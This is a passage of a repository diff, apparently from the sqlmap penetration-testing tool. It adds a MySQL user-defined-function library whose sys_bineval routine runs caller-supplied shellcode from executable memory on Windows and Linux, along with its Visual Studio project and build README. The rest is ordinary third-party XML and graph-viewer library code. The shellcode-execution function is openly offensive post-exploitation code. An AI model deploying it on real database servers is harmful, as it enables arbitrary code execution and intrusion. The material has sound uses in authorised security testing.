||||
} else {
|
||||
result[outlen-1] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
@@ -0,0 +1,368 @@
|
||||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="8,00"
|
||||
Name="lib_mysqludf_sys"
|
||||
ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
RootNamespace="lib_mysqludf_sys"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
<Platform
|
||||
Name="x64"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
<DefaultToolFile
|
||||
FileName="masm.rules"
|
||||
/>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
|
||||
GenerateDebugInformation="true"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
|
||||
GenerateDebugInformation="true"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
RuntimeLibrary="2"
|
||||
EnableFunctionLevelLinking="true"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="0"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib"
|
||||
GenerateDebugInformation="true"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="MASM"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
EnableIntrinsicFunctions="true"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
RuntimeLibrary="2"
|
||||
EnableFunctionLevelLinking="true"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib\x64"
|
||||
GenerateDebugInformation="false"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
OptimizeForWindows98="1"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\__exec_payload.asm"
|
||||
>
|
||||
<FileConfiguration
|
||||
Name="Release|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
CommandLine="ml64.exe /c /Cx "$(inputpath)"
"
|
||||
Outputs="$(InputName).obj"
|
||||
/>
|
||||
</FileConfiguration>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\lib_mysqludf_sys.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Resource Files"
|
||||
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
|
||||
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
|
||||
>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
||||
@@ -0,0 +1 @@
|
||||
PostgreSQL does not compile under Windows 64-bit.
|
||||
25
extra/udfhack/windows/README.txt
Normal file
25
extra/udfhack/windows/README.txt
Normal file
@@ -0,0 +1,25 @@
|
||||
Before compiling, certain enviroment variables have to be set,
|
||||
depending on the project used. For project lib_mysqludf_sys variables
|
||||
PLATFORM_SDK_DIR and MYSQL_SERVER_DIR have to be set, while for project
|
||||
lib_postgresqludf_sys variables PLATFORM_SDK_DIR and
|
||||
POSTGRESQL_SERVER_DIR.
|
||||
|
||||
Variables:
|
||||
--------------------------------------------------------------------------
|
||||
Variable name Variable description
|
||||
--------------------------------------------------------------------------
|
||||
PLATFORM_SDK_DIR Directory where the Platform SDK is installed
|
||||
MYSQL_SERVER_DIR Directory where the MySQL is installed
|
||||
POSTGRESQL_SERVER_DIR Directory where the PostgreSQL is installed
|
||||
|
||||
Procedure for setting environment variables:
|
||||
My Computer -> Properties -> Advanced -> Environment Variables
|
||||
User variables -> New
|
||||
|
||||
Sample values:
|
||||
--------------------------------------------------------------------------
|
||||
Variable name Variable value
|
||||
--------------------------------------------------------------------------
|
||||
PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2
|
||||
MYSQL_SERVER_DIR C:\Program Files\MySQL\MySQL Server 5.1
|
||||
POSTGRESQL_SERVER_DIR C:\Program Files\PostgreSQL\8.4
|
||||
19
extra/xdot/__init__.py
Executable file
19
extra/xdot/__init__.py
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2008-2009 Jose Fonseca
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
2159
extra/xdot/xdot.py
Normal file
2159
extra/xdot/xdot.py
Normal file
File diff suppressed because it is too large
Load Diff
19
extra/xmlobject/__init__.py
Executable file
19
extra/xmlobject/__init__.py
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2007-2008 David McNab
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
583
extra/xmlobject/xmlobject.py
Normal file
583
extra/xmlobject/xmlobject.py
Normal file
@@ -0,0 +1,583 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2007-2008 David McNab
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
"""
|
||||
Allows XML files to be operated on like Python objects.
|
||||
|
||||
Features:
|
||||
- load XML source from file pathnames, readable file objects or raw strings
|
||||
- add, get and set tag attributes like with python attributes
|
||||
- iterate over nodes
|
||||
- save the modified XMLFile or XMLObject to file
|
||||
|
||||
Example XML file::
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<rapsheets>
|
||||
<person name="John Smith" age="42">
|
||||
<!-- John Smith has an appeal in process against his last conviction -->
|
||||
<crime name="Armed robbery" date="March 11, 1994"/>
|
||||
<crime name="Aggravated burglary" date="June 9, 2001"/>
|
||||
</person>
|
||||
<person name="Mary Jones" age="33">
|
||||
<crime name="Prostitution" date="January 8, 1997"/>
|
||||
<crime name="Selling heroin" date="September 4, 2002"/>
|
||||
<crime name="Manslaughter" date="December 21, 2004"/>
|
||||
</person>
|
||||
</rapsheets>
|
||||
|
||||
Example usage::
|
||||
|
||||
>> from xmlobject import XMLFile
|
||||
|
||||
>> x = XMLFile(path="sample.xml")
|
||||
|
||||
>> print x
|
||||
<xmlobj.XMLFile instance at 0xb7ccc52c>
|
||||
|
||||
>> print x.root
|
||||
<XMLNode: rapsheets>
|
||||
|
||||
>> print x.root._children
|
||||
[<XMLNode: text>, <XMLNode: person>, <XMLNode: text>,
|
||||
<XMLNode: person>, <XMLNode: text>]
|
||||
|
||||
>> print x.root.person
|
||||
[<XMLNode: person>, <XMLNode: person>]
|
||||
|
||||
>> print x.root.person[0].name
|
||||
John Smith
|
||||
|
||||
>> john = x.root.person[0]
|
||||
|
||||
>> john.height = 184
|
||||
|
||||
>> c = john._addNode("crime")
|
||||
|
||||
>> c.name = "Grand Theft Auto"
|
||||
|
||||
>> c.date = "4 May, 2005"
|
||||
|
||||
>> print x.toxml()
|
||||
<?xml version="1.0" ?>
|
||||
<rapsheets>
|
||||
<person age="42" height="184" name="John Smith">
|
||||
<!-- John Smith has an appeal in process against his last conviction -->
|
||||
<crime date="March 11, 1994" name="Armed robbery"/>
|
||||
<crime date="June 9, 2001" name="Aggravated burglary"/>
|
||||
<crime date="4 May, 2005" name="Grand Theft Auto"/></person>
|
||||
<person age="33" name="Mary Jones">
|
||||
<crime date="January 8, 1997" name="Prostitution"/>
|
||||
<crime date="September 4, 2002" name="Selling heroin"/>
|
||||
<crime date="December 21, 2004" name="Manslaughter"/>
|
||||
</person>
|
||||
</rapsheets>
|
||||
|
||||
>>
|
||||
|
||||
"""
|
||||
|
||||
import sys, os
|
||||
import xml.dom
|
||||
import xml.dom.minidom
|
||||
from xml.dom.minidom import parse, parseString, getDOMImplementation
|
||||
|
||||
impl = getDOMImplementation()
|
||||
|
||||
class MissingRootTag(Exception):
|
||||
"""root tag name was not given"""
|
||||
|
||||
class IncorrectRootTag(Exception):
|
||||
"""root tag is given but incorrect"""
|
||||
|
||||
class InvalidXML(Exception):
|
||||
"""failed to parse XML input"""
|
||||
|
||||
class CannotSave(Exception):
|
||||
"""unable to save"""
|
||||
|
||||
class InvalidNode(Exception):
|
||||
"""not a valid minidom node"""
|
||||
|
||||
class XMLFile:
|
||||
"""
|
||||
Allows an xml file to be viewed and operated on
|
||||
as a python object.
|
||||
|
||||
(If you're viewing the epydoc-generated HTML documentation, click the 'show private'
|
||||
link at the top right of this page to see all the methods)
|
||||
|
||||
Holds the root node in the .root attribute, also in an attribute
|
||||
with the same name as this root node.
|
||||
"""
|
||||
def __init__(self, **kw):
|
||||
"""
|
||||
Create an XMLFile
|
||||
|
||||
Keywords:
|
||||
- path - a pathname from which the file can be read
|
||||
- file - an open file object from which the raw xml
|
||||
can be read
|
||||
- raw - the raw xml itself
|
||||
- root - name of root tag, if not reading content
|
||||
|
||||
Usage scenarios:
|
||||
1. Working with existing content - you must supply input in
|
||||
one of the following ways:
|
||||
- 'path' must be an existing file, or
|
||||
- 'file' must be a readable file object, or
|
||||
- 'raw' must contain raw xml as a string
|
||||
2. Creating whole new content - you must give the name
|
||||
of the root tag in the 'root' keyword
|
||||
|
||||
Notes:
|
||||
- Keyword precedence governing existing content is:
|
||||
1. path (if existing file)
|
||||
2. file
|
||||
3. raw
|
||||
- If working with existing content:
|
||||
- if the 'root' is given, then the content's toplevel tag
|
||||
MUST match the value given for 'root'
|
||||
- trying to _save will raise an exception unless 'path'
|
||||
has been given
|
||||
- if not working with existing content:
|
||||
- 'root' must be given
|
||||
- _save() will raise an exception unless 'path' has been given
|
||||
"""
|
||||
path = kw.get("path", None)
|
||||
fobj = kw.get("file", None)
|
||||
raw = kw.get("raw", None)
|
||||
root = kw.get("root", None)
|
||||
textfilter = kw.get("textfilter", None)
|
||||
|
||||
if path:
|
||||
self.path = path
|
||||
try:
|
||||
fobj = file(path)
|
||||
except IOError:
|
||||
pass
|
||||
else:
|
||||
self.path = None
|
||||
|
||||
if fobj:
|
||||
raw = fobj.read()
|
||||
|
||||
if raw:
|
||||
self.dom = xml.dom.minidom.parseString(raw)
|
||||
else:
|
||||
# could not source content, so create a blank slate
|
||||
if not root:
|
||||
# in which case, must give a root node name
|
||||
raise MissingRootTag(
|
||||
"No existing content, so must specify root")
|
||||
|
||||
# ok, create a blank dom
|
||||
self.dom = impl.createDocument(None, root, None)
|
||||
|
||||
# get the root node, save it as attributes 'root' and name of node
|
||||
rootnode = self.dom.documentElement
|
||||
|
||||
# now validate root tag
|
||||
if root:
|
||||
if rootnode.nodeName != root:
|
||||
raise IncorrectRootTag("Gave root='%s', input has root='%s'" % (
|
||||
root, rootnode.nodeName))
|
||||
|
||||
if textfilter:
|
||||
self.textfilter = textfilter
|
||||
else:
|
||||
self.textfilter = lambda x: x
|
||||
|
||||
# need this for recursion in XMLNode
|
||||
self._childrenByName = {}
|
||||
self._children = []
|
||||
|
||||
# add all the child nodes
|
||||
for child in self.dom.childNodes:
|
||||
childnode = XMLNode(self, child)
|
||||
#print "compare %s to %s" % (rootnode, child)
|
||||
if child == rootnode:
|
||||
#print "found root"
|
||||
self.root = childnode
|
||||
setattr(self, rootnode.nodeName, self.root)
|
||||
|
||||
def save(self, where=None, obj=None):
|
||||
"""
|
||||
Saves the document.
|
||||
|
||||
If argument 'where' is given, saves to it, otherwise
|
||||
tries to save to the original given 'path' (or barfs)
|
||||
|
||||
Value can be a string (taken to be a file path), or an open
|
||||
file object.
|
||||
"""
|
||||
obj = obj or self.dom
|
||||
|
||||
if not where:
|
||||
if self._root.path:
|
||||
where = self._root.path
|
||||
|
||||
if isinstance(where, str):
|
||||
where = file(where, "w")
|
||||
|
||||
if not where:
|
||||
raise CannotSave("No save destination, and no original path")
|
||||
|
||||
where.write(obj.toxml())
|
||||
where.flush()
|
||||
|
||||
def saveAs(self, path):
|
||||
"""
|
||||
save this time, and all subsequent times, to filename 'path'
|
||||
"""
|
||||
self.path = path
|
||||
self.save()
|
||||
|
||||
def toxml(self):
|
||||
return self.dom.toxml()
|
||||
|
||||
def __len__(self):
|
||||
"""
|
||||
returns number of child nodes
|
||||
"""
|
||||
return len(self._children)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
if isinstance(idx, int):
|
||||
return self._children[idx]
|
||||
else:
|
||||
return self._childrenByName[idx]
|
||||
|
||||
|
||||
class XMLNode:
|
||||
"""
|
||||
This is the workhorse for the xml object interface
|
||||
|
||||
(If you're viewing the epydoc-generated HTML documentation, click the 'show private'
|
||||
link at the top right of this page to see all the methods)
|
||||
|
||||
"""
|
||||
def __init__(self, parent, node):
|
||||
"""
|
||||
You shouldn't need to instantiate this directly
|
||||
"""
|
||||
self._parent = parent
|
||||
if isinstance(parent, XMLFile):
|
||||
self._root = parent
|
||||
else:
|
||||
self._root = parent._root
|
||||
self._node = node
|
||||
self._childrenByName = {}
|
||||
self._children = []
|
||||
|
||||
# add ourself to parent's children registry
|
||||
parent._children.append(self)
|
||||
|
||||
# the deal with named subtags is that we store the first instance
|
||||
# as itself, and with second and subsequent instances, we make a list
|
||||
parentDict = self._parent._childrenByName
|
||||
nodeName = node.nodeName
|
||||
if not parentDict.has_key(nodeName):
|
||||
parentDict[nodeName] = self._parent.__dict__[nodeName] = self
|
||||
else:
|
||||
if isinstance(parentDict[nodeName], XMLNode):
|
||||
# this is the second child node of a given tag name, so convert
|
||||
# the instance to a list
|
||||
parentDict[nodeName] = parent.__dict__[nodeName] = [parentDict[nodeName]]
|
||||
parentDict[nodeName].append(self)
|
||||
|
||||
# figure out our type
|
||||
self._value = None
|
||||
if isinstance(node, xml.dom.minidom.Text):
|
||||
self._type = "text"
|
||||
self._value = self._root.textfilter(node.nodeValue)
|
||||
elif isinstance(node, xml.dom.minidom.Element):
|
||||
self._type = "node"
|
||||
elif isinstance(node, xml.dom.minidom.Comment):
|
||||
self._type = "comment"
|
||||
self._value = node.nodeValue
|
||||
else:
|
||||
raise InvalidNode("node class %s" % node.__class__)
|
||||
|
||||
# and wrap all the child nodes
|
||||
for child in node.childNodes:
|
||||
XMLNode(self, child)
|
||||
|
||||
def _render(self):
|
||||
"""
|
||||
Produces well-formed XML of this node's contents,
|
||||
indented as required
|
||||
"""
|
||||
return self._node.toxml()
|
||||
|
||||
def __repr__(self):
|
||||
if self._type == "node":
|
||||
return "<XMLNode: %s>" % self._node.nodeName
|
||||
else:
|
||||
return "<XMLNode: %s>" % self._type
|
||||
|
||||
def __getattr__(self, attr):
|
||||
"""
|
||||
Fetches an attribute or child node of this tag
|
||||
|
||||
If it's an attribute, then returns the attribute value as a string.
|
||||
|
||||
If a child node, then:
|
||||
- if there is only one child node of that name, return it
|
||||
- if there is more than one child node of that name, return a list
|
||||
of child nodes of that tag name
|
||||
|
||||
Supports some magic attributes:
|
||||
- _text - the value of the first child node of type text
|
||||
"""
|
||||
#print "%s: __getattr__: attr=%s" % (self, attr)
|
||||
|
||||
if attr == '_text':
|
||||
# magic attribute to return text
|
||||
tnode = self['#text']
|
||||
if isinstance(tnode, list):
|
||||
tnode = tnode[0]
|
||||
return tnode._value
|
||||
|
||||
if self._type in ['text', 'comment']:
|
||||
if attr == '_value':
|
||||
return self._node.nodeValue
|
||||
else:
|
||||
raise AttributeError(attr)
|
||||
|
||||
if self._node.hasAttribute(attr):
|
||||
return self._node.getAttribute(attr)
|
||||
elif self._childrenByName.has_key(attr):
|
||||
return self._childrenByName[attr]
|
||||
|
||||
#elif attr == 'value':
|
||||
# magic attribute
|
||||
|
||||
else:
|
||||
raise AttributeError(attr)
|
||||
|
||||
|
||||
def __setattr__(self, attr, val):
|
||||
"""
|
||||
Change the value of an attribute of this tag
|
||||
|
||||
The magic attribute '_text' can be used to set the first child
|
||||
text node's value
|
||||
|
||||
For example::
|
||||
|
||||
Consider:
|
||||
|
||||
<somenode>
|
||||
<child>foo</child>
|
||||
</somenode>
|
||||
|
||||
>> somenode
|
||||
<XMLNODE: somenode>
|
||||
>> somenode.child
|
||||
<XMLNODE: child>
|
||||
>> somenode.child._text
|
||||
'foo'
|
||||
>> somenode._toxml()
|
||||
u'<somenode><child>foo</child></somenode>'
|
||||
>> somenode.child._text = 'bar'
|
||||
>> somenode.child._text
|
||||
'bar'
|
||||
>> somenode.child._toxml()
|
||||
u'<somenode><child>bar/child></somenode>'
|
||||
|
||||
"""
|
||||
if attr.startswith("_"):
|
||||
|
||||
# magic attribute for setting _text
|
||||
if attr == '_text':
|
||||
tnode = self['#text']
|
||||
if isinstance(tnode, list):
|
||||
tnode = tnode[0]
|
||||
tnode._node.nodeValue = val
|
||||
